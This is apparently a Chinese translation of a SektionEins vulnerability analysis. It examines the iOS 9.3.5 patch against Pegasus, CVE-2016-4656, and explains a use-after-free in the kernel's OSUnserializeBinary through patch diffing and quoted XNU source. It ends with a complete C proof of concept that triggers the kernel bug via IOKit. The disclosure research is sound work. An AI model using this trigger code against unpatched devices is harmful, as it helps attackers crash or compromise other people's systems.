1.介绍
2016年8月25日,针对最近出现的iOS监视工具PEGASUS,苹果发布了重要的安全更新:iOS 9.3.5。与之前发现的iOS恶意软件不同，这个工具包使用了三个不同的iOS 0 day漏洞，可以让所有打了补丁(iOS 9.3.5之前的版本)的iOS设备妥协。不幸的是，有关这些漏洞的公开信息很少,这是因为Citizenlab and Lookout (漏洞发现者)和苹果已经决定对公众隐瞒细节。直到此时,他们仍没有向公众公开恶意软件样本，因此，独立地进行第三方分析是不可能完成的。
站在SektionEins的立场，我们认为向公众隐瞒已修复漏洞的细节并非正确的做法,由于我们在解决iOS内核问题上比较专业,于是决定来看看苹果发布的安全补丁,以找出被PEGASUS利用的漏洞。
该事件前期相关报道、报告：
iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机（8月26日 13:41更新）
2.补丁分析
事实上，分析iOS安全补丁并没有我们当初想象得那么简单，因为iOS 9内核是以加密的形式被存储在设备中的(在固件文件中)。如果想获取解密后的内核，我们有两个选择：一种是拥有一个允许解密内核的低水平利用,另一种是破解存在问题的iOS版本,然后从核心内存里将它转储出来。我们决定使用第二种方法，我们在实验室内的iOS测试设备中，用自己的破解版本转储了iOS 9.3.4和iOS 9.3.5的内核。Mathew Solnik曾在一篇博客文章中对我们通常的做法有所描述,他透露说, 通过内核利用，我们可以从物理内存中转储完全解密的iOS内核。
转储出两个内核后，我们需要分析它们的差异。我们使用IDA中的开源二进制diffing插件Diaphora来完成这个任务，为了进行比较，我们将iOS 9.3.4内核加载到了IDA,然后等待自动分析完成，然后运用Diaphora将当前IDA数据库以同样的格式转储到SQLITE数据库。对于iOS 9.3.5内核，我们重复了一次这个过程,然后命令Diaphora比较两个数据库的差异。比较的结果可在以下的画面中看到：
Diaphora发现了iOS 9.3.5中的一些新函数。然而,其中大多数只是跳转目标发生了变化。从变动函数的列表中，我们可以明显看出OSUnserializeXML是其中最值得探究的函数。分析该函数的差异是非常困难的,因为相较于iOS 9.3.4，这个函数在iOS 9.3.5中已经发生了很大的改变(由于重新排序)。然而进一步的分析显示,它实际上还内联着另一个函数,通过观察XNU（类似于iOS内核）的源代码，找到漏洞似乎会变得较为容易。OS X 10.11.6内的XNU内核可以在opensource.apple.com上找到。
对代码进行调查后显示,内联函数实际上是OSUnserializeBinary。
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
if (!buffer) return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}
3.OSUnserializeBinary
OSUnserializeBinary是添加到OSUnserializeXML上的相对较新的代码，主要负责处理二进制序列化数据。这个函数接触到用户输入的方式与OSUnserializeXML相同。由于IOKit API允许对参数进行序列化，因此攻击者只需调用任意的IOKit API(或mach API)，就可以滥用它们。同时,该漏洞也可以从iOS或OS X上任意沙箱的内部触发。
这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp,因此可以直接审查，不用确切地分析苹果应用的补丁。这个新的序列化格式的二进制格式并不是很复杂，它由一个32位标识符作为数据头,其次是32位对齐标记和数据对象。
支持以下数据类型:
·Dictionary
·Array
·Set
·Number
·Symbol
·String
·Data
·Boolean
·Object (reference to previously deserialized object)
二进制格式将这些数据类型编码成24-30位。较低的24位被作为数值数据保留下来，例如存储长度或集合元素计数器。第31位标志着集合的最后一个元素，其他的所有数据(字符串、符号、二进制数据、数字)占用了四字节，对齐到datastream。下文列出的POC就是一个例子。
4.漏洞
现在，找出漏洞变得较为简单了,因为它类似于之前PHP函数unserialize()中的use after free 漏洞， SektionEins此前曾在PHP.net将该漏洞披露出来。OSUnserialize()内的漏洞也出自相同的原因:在反序列化过程中，反序列化器可以对先前释放的对象创建引用。
每个对象在经过反序列化后,都会被添加到一个对象目录中。代码是这样的:
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}这是不安全的,而PHP也犯过同样的错误，这是因为setAtIndex()宏不会让对象的引用计数增加，你可以在这里看到：
define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity + 64;
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
kfree(v##Array, v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE
在反序列化过程中，如果没有一种合法释放对象的方式，那么不记录v##Array内的引用数将不会出现什么问题。不巧的是，至少有一种代码路径允许在反序列化过程中释放对象。你可以从下面的代码中看到，字典元素的处理支持OSSymbol和OSString key，然而在OSString key的情形下，它们会在OSString对象损坏后转换至OSSymbol，而在OSString对象破坏时，它已经被添加到了theobjs对象表。
if (dict)
{
if (sym)
{
DEBG("%s = %sn", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if (o != dict) ok = dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *) OSSymbol::withString(str);
o->release(); <---- destruction of OSString object that is already in objs table
o = 0;
}
ok = (sym != 0);
}
}
因此，用kOSSerializeObject数据类型来创建已损坏的OSString对象的引用是可行的，这是一个典型的use after free漏洞。
5.POC
找出了问题后,我们创建了一个简单的POC来触发这个漏洞,下面的图中就是POC。你可以在OS X上试试(因为它和iOS有一样的漏洞)。
/*
* Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
* compile on OS X like:
* gcc -arch i386 -framework IOKit -o ex exploit.c
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "323"
int main()
{
char * data = malloc(1024);
uint32_t * ptr = (uint32_t *) data;
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
/* create a dictionary with 2 elements */
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
/* our key is a OSString object */
*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
/* our data is a simple boolean */
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
/* now create a reference to object 1 which is the OSString object that was just freed */
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
printf("kr: 0x%xn", kr);
}
6.利用
因为我们才刚刚分析了这个问题，所以还没有来得及对这个漏洞开发出一种利用。但是我们随后会为这个漏洞开发出一种完全可行的利用，今年的晚些时候，我们会在柏林的iOS内核开发培训课程上将它展示出来。
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